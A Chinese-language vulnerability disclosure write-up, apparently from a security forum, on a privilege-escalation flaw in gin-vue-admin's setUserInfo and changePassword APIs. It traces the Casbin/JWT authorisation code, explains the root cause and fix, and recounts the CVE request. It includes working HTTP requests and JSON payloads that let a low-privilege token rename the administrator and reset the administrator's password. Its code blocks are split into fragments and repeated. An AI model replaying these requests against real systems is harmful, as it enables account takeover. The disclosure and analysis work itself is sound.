欢迎各位大佬们给该项目点一个start
文章写完了之后,申请CVE有一些麻烦,不过好在还是申请到了,github的员工响应迅速
ps 申请CVE前,已经提交了CNVD
按照官方教程
随后进入server目录
随后直接运行server即可
随后是WEB,进入到web目录,输入
随后等待即可
随后安装完成会自动打开WEB网页
随后初始化设置数据库信息
配置好之后点击初始化后登录即可
我们直接来到用户管理页面,新增一个低权限的用户角色
可以看到上方并没有给到管理员的权限,接下来新建一个账号,分给这个角色组
漏洞发生的位置在https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go的第273行
这里没有对传入的ID进行校验,ID代表用户的,直接传入指定的ID就可以修改对应用户的个人信息
首先我们用管理员的X-token测试修改ID为1的用户的名称修改为test1,随后我们可以在后台中看到管理员的ID已经被修改为test1了
那么接下来,我们使用刚刚新建的UzJu_HxSecTeam账号的Token替换进去,将管理员用户名修改为test2
首先我们UzJu_HxSecTeam的账号个人信息>修改密码 这里随便修改密码,然后获取到账号Token
这个Token是低权限那个角色的,正常低权限的用户是不可以修改管理员的任何信息的
我们将Token替换进去,构造如下Json数据
我们将Token替换到setUserinfo接口
随后提示我们,设置成功
这是我们切换到管理员账号,查看是否被修改为test2
可以看到管理员用户成功被修改
在Debug的时候发现,在越权设置个人信息的接口setUserInfo中不单单只能设置id, username, nickname,headimg,其实还可以传入password等参数
比如我们构造一个请求,将ID为1的用户名称设置为admin,昵称设置为超级用户管理员
此时管理员的密码已经被修改为了qwe@123,尝试登陆
随后成功登录
PS: 这里有一个前提,需知道我想修改的那个人用户的密码才可以
首先我们知道默认的admin密码为123456,这个时候我们只需要构造Json数据,将Json数据中的username参数,修改为我们想越权修改的那个用户名即可
首先我们登录低权限的账号,修改一次密码
我们会抓到一个changePassword的请求,随后将这个请求放入Repeater
随后我们只需要将username这个参数修改为admin即可
随后会提示我们修改成功,然后我们使用新的密码来登录admin
随后成功登录
漏洞出现的位置在https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go,139行
ps: 以下所有内容出自一个完全没学过Go的,也没做过开发的,只会Python的脚本小子的理解
首先从正常的业务逻辑来看这里为什么会造成越权,其实原理比较简单,主要是因为,我们在新建角色权限的时候,有几个必选的参数,也就是这几个参数,选了之后,用户才有机会越权(但是也不能不选,因为这是默认的必选参数),其实最终还是在代码上存在逻辑问题。
首先我们看,在新建完角色之后,查看角色的权限
可以看到,默认新建的用户权限,在角色菜单中,只有一个可以访问仪表盘的权限,但是我们查看角色的API权限就会发现
这里有几个必选的权限
这也是这一次漏洞的来源,首先是设置用户信息,如果我们取消勾选
然后我们将低权限角色组的账号Token放进Burp进行尝试
可以很清楚的看到,目前我们已经没有权限来设置这些用户信息了,而且在Go的Debug页面我们也很容易发现,代码逻辑,比如我们现在是没有权限进行设置用户信息的,但是在代码中理论来说,我访问了这个接口,我Debug的断点应该是可以拦截的,但是如下图,我下断点之后,程序居然没有停止
从这里就能判断,在此操作之前,应该是有一个鉴权操作(常见的应该是rbac吧)那么我们现在给低权限角色组设置用户的权限,我们再进行重放看看
我们可以看到,程序成功停止在了这里,那么我想(go小白)应该可以通过Debug的方式,来找到这里的鉴权:)
首先Mac下command键鼠标左键来找哪里调用了这个函数
然后可以看到这里有一个初始化用户路由的一个函数InitUserRouter
那么继续老办法,Command+鼠标左键来判断哪里调用了InitUserRoute
这里注意,有一个JWTAuth()还有一个middleware.CasbinHandler()
首先我们先来看middleware.JWTAuth(),还是老方法Command+鼠标左键
然后来到一个jwt.go,这里的逻辑我们可以看一下(当然也感谢作者写了一些注释)
go中token:=应该是相当于定义一个变量来接收请求中的header中的x-token,首先就是判断token是不是为空,如果为空的话直接返回用户未登录或非法访问
随后就是判断用户的token是否在黑名单里面,这里应该是通过缓存或者用户退出的时候来判断,这个token是不是已经失效了吧,如果失效了就会返回告诉用户异地登录或令牌失效了
这里首先传给ParseToken这个函数来解析Token,可以跟过去看一下
不懂jwt.ParseWithClaims是啥。。。传统艺能,google.com
https://www.cnblogs.com/taoshihan/p/15239208.html
感谢作者的指点:此处将传入的jwt token串进行解析,获得jwt.Token结构体,然后从结构体解析出Claims获取之前我们生成token时挂载在上面的用户信息。
通过Google知道了ValidationErrorMalformed用来判断是否是错误的token,然后再通过ValidationErrorExpired来判断是否已过期,然后再通过ValidationErrorNotValidYet判断token是否激活,然后就是返回了。虽然下面还有一段代码
随后判断token是否过期,如果没有过期,则走到了reload,随后我们来到middleware.CasbinHandler()
首先进入到utils.GetClaims并且传入一个参数
这里函数用来获取x-token随后解析该token来判断是否过期等
随后判断用户的角色,这里的1234,也就是我们web设置的角色组ID
随后进入casbinService.Casbin(),传统艺能,直接百度
跟之前猜想的差不多,rbac权限控制,这里是连接数据库,然后这里F7单步步入看了一下,劝退了,看不懂
看注释可以判断,这里用来判断权限
机翻: Enforce decides whether a "subject" can access a "object" with the operation "action", input parameters are usually: (sub, obj, act).
强制决定“subject”是否可以通过操作“action”访问“object”,输入参数通常是:(sub, obj, act)。
随后判断是否在开发环境,然后success等于false,这里|| 或者的意思,要么成功,要么提示权限不足
我们来看看有权限后,越权的setuserinfo接口是怎么走的,首先我们在拦截器这个地方下一个断点
Tips: 通过百度发现这里用的是golang的casbin访问控制框架
https://blog.csdn.net/qq_42015552/article/details/104013264
然后在setuserinfo这里也下一个断点
因为拦截器在程序逻辑中在setuserinfo前面,所以我们从拦截器开始调
burp发送请求之后,一直等待,此时我们单步调试看看
此时我们的角色组为1234
随后是连接数据库,再之后就是检查权限
这里返回了一个true,说明权限存在,随后就是判断是否为开发环境或者success等于true了,这里肯定会经过第一个if,
随后就来到了setuserinfo接口
shouldBindJson 绑定了Json参数
随后这里,应该是用来判断传入的Json参数是否正确
下面直接直接将userid代入了进去
这里的ID是我们前端传入的,可以任意修改,所以就导致了越权
随后代入到数据库之后,更新后返回
随后则是更新成功
主要的鉴权操作都在cashbin.rbac.go这个文件中的CasbinHandler函数,中的casbinService.Casbin()和e.Enforce(sub, obj, act)
我对这里的越权理解是,如果给了设置用户信息的权限,那么默认这个用户在权限规则中就可以修改用户信息,然后在修改的时候,替换成别人的ID即可修改为别人的
到这里可以明白了,首先鉴权判断的是AuthorityId,来判断用户是否有权限操作某个接口
但是在setuserinfo使用的ID却是用户的账号ID
所以就导致了越权,因为这个ID可以前端传入的时候可以控制,并且也已经鉴权之后了,在与作者沟通之后,解释说修复也比较简单,只需要将user.id强制赋值为JWT所对应的权限ID即可,这样就不会造成越权了,因为前端怎么传入,最终在代码中还是有一行会将user.id的值修改为当前JWT所对应的id
但是在业务流程逻辑中,这些权限又是必须给的,因为不给的话,当前用户是没有办法修改自己的信息的
为什么check_interface_ChangePassword这个方法没写是因为,这里算是一个暴力破解的一个接口,因为在修改任意用户的密码之前,必须知道需要修改的那个账号的密码,这就像是暴力破解,所以这里并没有写,然后就是checkvuln这个方法,payload_data这个json数据中的id,其实可以任意更改的,也可以写成for循环进行遍历,因为在实际环境中并不确定管理员的ID是否为1,或者说存在恶意破坏的话,也可以造成一定的影响。
CNVD的就不用说了吧,肯定也已经提交了,这里申请CVE的。
GitHub代申请编号来的特别快,基本上最多3天,这里是当天提交的次日凌晨就收到了CVE的预分配编号
以下操作需要联系作者帮你操作,不然没有New Draft security advisory这个按钮
Description写上漏洞的内容,复现过程,POC就行,然后点击create draft security advisory
由于当时我们是第一次申请这个,犯了一个错误,只列出了一个草稿,并没有请求,导致我们白白等了7天
写完了一定要拉到下面,去点击request cve id
参考文章:https://mp.weixin.qq.com/s/eGjDy20unW-fTiuSOOPgRg
https:
/
/
github.com
/
flipped
-
aurora
/
gin
-
vue
-
admin
/
https:
/
/
github.com
/
flipped
-
aurora
/
gin
-
vue
-
admin
/
git clone https:
/
/
github.com
/
flipped
-
aurora
/
gin
-
vue
-
admin.git
git clone https:
/
/
github.com
/
flipped
-
aurora
/
gin
-
vue
-
admin.git
go generate
go build
-
o server main.go
go build
-
o server main.go
cnpm install || npm install
cnpm install || npm install
/
/
@Tags SysUser
/
/
@Summary 设置用户信息
/
/
@Security ApiKeyAuth
/
/
@accept application
/
json
/
/
@Produce application
/
json
/
/
@Param data body system.SysUser true
"ID, 用户名, 昵称, 头像链接"
/
/
@Success
200
{string} string
"{"
success
":true,"
data
":{},"
msg
":"
设置成功
"}"
/
/
@Router
/
user
/
setUserInfo [put]
func (b
*
BaseApi) SetUserInfo(c
*
gin.Context) {
var user system.SysUser
_
=
c.ShouldBindJSON(&user)
if
err :
=
utils.Verify(user, utils.IdVerify); err !
=
nil {
response.FailWithMessage(err.Error(), c)
return
}
if
err, ReqUser :
=
userService.SetUserInfo(user); err !
=
nil {
global
.GVA_LOG.Error(
"设置失败!"
, zap.Error(err))
response.FailWithMessage(
"设置失败"
, c)
}
else
{
response.OkWithDetailed(gin.H{
"userInfo"
: ReqUser},
"设置成功"
, c)
}
}
/
/
@Tags SysUser
/
/
@Summary 设置用户信息
/
/
@Security ApiKeyAuth
/
/
@accept application
/
json
/
/
@Produce application
/
json
/
/
@Param data body system.SysUser true
"ID, 用户名, 昵称, 头像链接"
/
/
@Success
200
{string} string
"{"
success
":true,"
data
":{},"
msg
":"
设置成功
"}"
/
/
@Router
/
user
/
setUserInfo [put]
func (b
*
BaseApi) SetUserInfo(c
*
gin.Context) {
var user system.SysUser
_
=
c.ShouldBindJSON(&user)
if
err :
=
utils.Verify(user, utils.IdVerify); err !
=
nil {
response.FailWithMessage(err.Error(), c)
return
}
if
err, ReqUser :
=
userService.SetUserInfo(user); err !
=
nil {
global
.GVA_LOG.Error(
"设置失败!"
, zap.Error(err))
response.FailWithMessage(
"设置失败"
, c)
}
else
{
response.OkWithDetailed(gin.H{
"userInfo"
: ReqUser},
"设置成功"
, c)
}
}
x
-
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.
0vm9DA7RHOi
-
ZBN6p
-
C4RIjJS7Qs9kbXKLNpmc6nyDs
x
-
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.
0vm9DA7RHOi
-
ZBN6p
-
C4RIjJS7Qs9kbXKLNpmc6nyDs
{
"id"
:
1
,
"username"
:
"test2"
,
"nickName"
:
"test2"
,
"headerImg"
:""
}
{
"id"
:
1
,
"username"
:
"test2"
,
"nickName"
:
"test2"
,
"headerImg"
:""
}
PUT
/
api
/
user
/
setUserInfo HTTP
/
1.1
Host: localhost:
8080
User
-
Agent: Mozilla
/
5.0
(Macintosh; Intel Mac OS X
10.15
; rv:
95.0
) Gecko
/
20100101
Firefox
/
95.0
Accept:
*
/
*
Accept
-
Language: zh
-
CN,zh;q
=
0.8
,zh
-
TW;q
=
0.7
,zh
-
HK;q
=
0.5
,en
-
US;q
=
0.3
,en;q
=
0.2
Accept
-
Encoding: gzip, deflate
Content
-
Type
: application
/
json
x
-
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.
0vm9DA7RHOi
-
ZBN6p
-
C4RIjJS7Qs9kbXKLNpmc6nyDs
x
-
user
-
id
:
1
Content
-
Length:
67
Origin: http:
/
/
localhost:
8080
Connection: close
Referer: http:
/
/
localhost:
8080
/
Sec
-
Fetch
-
Dest: empty
Sec
-
Fetch
-
Mode: cors
Sec
-
Fetch
-
Site: same
-
origin
{
"id"
:
1
,
"username"
:
"test2"
,
"nickName"
:
"test2"
,
"headerImg"
:""}
PUT
/
api
/
user
/
setUserInfo HTTP
/
1.1
Host: localhost:
8080
User
-
Agent: Mozilla
/
5.0
(Macintosh; Intel Mac OS X
10.15
; rv:
95.0
) Gecko
/
20100101
Firefox
/
95.0
Accept:
*
/
*
Accept
-
Language: zh
-
CN,zh;q
=
0.8
,zh
-
TW;q
=
0.7
,zh
-
HK;q
=
0.5
,en
-
US;q
=
0.3
,en;q
=
0.2
Accept
-
Encoding: gzip, deflate
Content
-
Type
: application
/
json
x
-
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.
0vm9DA7RHOi
-
ZBN6p
-
C4RIjJS7Qs9kbXKLNpmc6nyDs
x
-
user
-
id
:
1
Content
-
Length:
67
Origin: http:
/
/
localhost:
8080
Connection: close
Referer: http:
/
/
localhost:
8080
/
Sec
-
Fetch
-
Dest: empty
Sec
-
Fetch
-
Mode: cors
Sec
-
Fetch
-
Site: same
-
origin
{
"id"
:
1
,
"username"
:
"test2"
,
"nickName"
:
"test2"
,
"headerImg"
:""}
PUT
/
api
/
user
/
setUserInfo HTTP
/
1.1
Host: localhost:
8080
User
-
Agent: Mozilla
/
5.0
(Macintosh; Intel Mac OS X
10.15
; rv:
95.0
) Gecko
/
20100101
Firefox
/
95.0
Accept:
*
/
*
Accept
-
Language: zh
-
CN,zh;q
=
0.8
,zh
-
TW;q
=
0.7
,zh
-
HK;q
=
0.5
,en
-
US;q
=
0.3
,en;q
=
0.2
Accept
-
Encoding: gzip, deflate
Content
-
Type
: application
/
json
x
-
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x
-
user
-
id
:
1
Content
-
Length:
91
Origin: http:
/
/
localhost:
8080
Connection: close
Referer: http:
/
/
localhost:
8080
/
Sec
-
Fetch
-
Dest: empty
Sec
-
Fetch
-
Mode: cors
Sec
-
Fetch
-
Site: same
-
origin
{
"id"
:
1
,
"username"
:
"admin"
,
"nickName"
:
"超级用户管理员"
,
"Password"
:
"qwe@123"
}
PUT
/
api
/
user
/
setUserInfo HTTP
/
1.1
Host: localhost:
8080
User
-
Agent: Mozilla
/
5.0
(Macintosh; Intel Mac OS X
10.15
; rv:
95.0
) Gecko
/
20100101
Firefox
/
95.0
Accept:
*
/
*
Accept
-
Language: zh
-
CN,zh;q
=
0.8
,zh
-
TW;q
=
0.7
,zh
-
HK;q
=
0.5
,en
-
US;q
=
0.3
,en;q
=
0.2
Accept
-
Encoding: gzip, deflate
Content
-
Type
: application
/
json
x
-
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x
-
user
-
id
:
1
Content
-
Length:
91
Origin: http:
/
/
localhost:
8080
Connection: close
Referer: http:
/
/
localhost:
8080
/
Sec
-
Fetch
-
Dest: empty
Sec
-
Fetch
-
Mode: cors
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!